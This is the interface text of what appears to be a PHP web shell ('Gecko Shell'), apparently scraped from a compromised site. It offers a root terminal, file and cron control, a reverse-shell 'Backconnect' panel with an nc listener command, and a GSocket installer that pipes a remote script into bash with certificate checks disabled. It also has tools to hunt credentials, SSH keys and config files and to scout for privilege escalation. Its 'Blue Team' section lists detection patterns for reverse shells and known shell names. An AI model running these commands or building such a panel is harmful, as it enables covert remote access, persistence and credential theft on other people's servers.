CtrlK

Loading workspace…

Fetching your files

— — — —

New File

Rename

Permissions (Chmod)

Delete

Upload Files

Drag & drop files here or click to browse

Uploads to current folder

Max file size: 64M

Edit File

Preview

Download

Terminal

root
Gecko Shell
~
0cmds
gecko@shell:~ ❯
↑↓history ⏎run

⏰ Cron Manager

Loading crontab…

🔗 Backconnect

Start listener first: nc -lvnp PORT or rlwrap nc -lvnp PORT

Ready — connection runs in background.

⚡ GSocket

GS_NOCERTCHECK=1 bash -c "$(curl -fsSLk https://gsocket.io/y)"

Installer dari gsocket.io/y. Jika GSRN firewalled, otomatis retry GS_PORT=22 s/d 67.

Klik Run untuk mengeksekusi installer GSocket.
—

🌐 Port Scanner

Enter target and click Scan.

🗄️ Adminer (DB Manager)

Built-in PDO query runner

🛡️ Cyber Security Hub

System info, user/privilege, PHP security restrictions, kernel & env.

Hunts .env, wp-config, SSH keys, .git/config, SQL dumps, credentials…

Click Scan to search.
ps aux / tasklist output.
Listening ports, connections, interfaces.
HTTP client for SSRF/recon testing.
Hash output.
Encoded/decoded output.
DNS records.

Privilege escalation recon — setuid binaries, setgid, Linux capabilities.

Linux only.
Cyber Security toolkit

🔵 Blue Team Hub

Scoring: CRITICAL ≥50 · HIGH ≥30 · MEDIUM ≥15 · LOW ≥6 (aggressive). Review before quarantine — false positives possible on legit apps.

Ready to scan.
0 threats
📦 Quarantine (tmp)

Removed files are moved to system tmp — restore anytime.

No quarantined files.

Runs: backdoor scan, recent changes, writable files, hidden scripts, cron audit, IOC hunt, suspicious processes, log audit.

Comprehensive blue team assessment (may take several minutes).
Recently modified PHP/JS/.htaccess files.
World-writable files & directories (777 / o+w).
Dot-files: .htaccess, .user.ini, hidden PHP shells.
Detects persistence: curl|sh, /dev/tcp, reverse shells, base64 decode…
Failed auth, sudo usage, suspicious web server errors.
Known malicious filenames: c99, r57, wso, b374k, alfa…
nc, /dev/tcp, reverse shells, miners, scanners.
Blue Team defensive toolkit

📦 Move to Quarantine

Files dipindah ke folder tmp (bukan dihapus permanen). Bisa di-restore kapan saja dari section Quarantine di bawah.

XML-RPC server accepts POST requests only.